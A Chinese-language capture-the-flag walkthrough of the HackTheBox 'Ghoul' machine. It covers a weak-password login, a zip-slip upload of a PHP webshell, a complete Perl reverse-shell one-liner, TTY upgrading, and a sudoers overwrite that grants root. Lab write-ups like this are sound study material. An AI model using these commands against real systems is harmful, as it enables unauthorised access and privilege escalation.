Hackthebox-Ghoul

简介: Hackthebox-Ghoul

CTF挑战靶机是来自hackthebox的“Ghoul”,hackthebox是一个非常不错的在线实验平台。

Masscan扫描出目标存在22,80,8080,2222端口

640.png

nmap -a参数扫出更详细的系统信息

640.png

8080web端口需要身份认证才能登录,弱口令admin:admin拿下

640.png

发现8080存在文件上传,分别是image上传和zip上传

640.png

图片上传穿不了马,发现zip可以上传带php脚本内容的文件

网上查出zip-slip,当application中存在压缩包解压代码且没有验证文件的情况下,会构成zip-slip漏洞

相关链接:https://xz.aliyun.com/t/2382

640.png

640.png

利用evilarc工具构造phpwebshell的恶意压缩包

工具路径:https://github.com/ptoomey3/evilarc

640.png

连上webshell

我们开启nc监听,用perl反连

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");}

连上webshell后我们尝试将shell升级为完全交互式的TTY

准备工作:需要在自己的终端上面检查STTY和TERM的信息

stty -a检查当前STTY信息

echo $TERM检查当前终端

image.png

所需要TERM类型(“xterm-256color”)和当前TTY大小(24行;80列)

Step1:

查看存不存在python环境(不存在python环境的情况不在这讨论,详细看下方连接)

Step2:

存在python环境的情况下就利用python的pty模块创建一个伪终端,命令如下:# python -c ’import pty;pty.spawn(“/bin/bash”)’

Step3:Ctrl-z将终端放入后台,将当前STTY设置为raw,输入如下命令:

# stty raw -echo

Raw设置打开后,你可能会看不见下一条的输入,但是命令仍会执行,输入命令:

# fg

shell从后台中提出来,并重置它,输入如下命令进行重置:

# reset

Step4:我看会看到shell被提取到了前台,接下来我们输入以下三条指令去匹配我们当前的终端窗口(根据上面收集的信息)

# export SHELL=bash

# export TERM=xterm-256color

# stty rows 24 columns 80

最终哦我们得到一个用nc shell升级的TTY,它具有命令补全,历史查看等功能

具体来源如下:

https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/

image.png

image.png

image.png

mount可以查看到web是跑在docker里面的,我们可以将在sudoers文件里面写入命令,将www-data提升为root权限,写入的内容如下:www-data ALL=(ALL) NOPASSWD:ALL

利用zip-slip将sudoers写入到/etc/sudoers

640.jpg

640.png

640.png

无需密码获取root权限,cat flag

640.jpg

相关文章
The Sandwich Rule
目标:训练一个可以直接以任意宽度运行的单一网络。其实是在权重共享的条件下,我们可以根据不同的硬件设备挑选不同宽度的网络,不再重训练一个权重。
89 0
The Sandwich Rule
Helpful Maths
Helpful Maths
74 0
Helpful Maths
|
IDE Java 程序员
What is null?
按照惯例还是在文章开头随便聊聊。之前这个环节是借鉴的why哥,叫“荒腔走板”。现在决定还是换一个有自己特色的名字,冥思苦想,最终拍板“Y说”。 有一段时间没在公众号更新文章了,其实也不是忙,就是有点懒(主要原因),再加上没有太多灵感,所以,很抱歉~
203 0
|
人工智能
Colorful Slimes
题目描述 Snuke lives in another world, where slimes are real creatures and kept by some people. Slimes come in N colors. Those colors are conveniently numbered 1 through N. Snuke currently has no slime. His objective is to have slimes of all the colors together.
74 0
|
算法
F#实现Simpson's Rule求数值积分
我们知道,微积分的求值是比较复杂的。一般来说,求积分有定积分和不定积分之分。不定积分需要求出具体的表达式,但被积函数非常复杂时,求解非常费劲,非常可能找不到原函数。而定积分给定了区间范围,可以利用数值方法,利用F#实现对积分的数值计算。
1013 0
F#实现Simpson's Rule求数值积分
|
Web App开发 前端开发 JavaScript
gulp
gulp 1. 安装 npm install --g gulp 2. 初始化 npm init 3.
1030 0
|
JavaScript 前端开发

热门文章

最新文章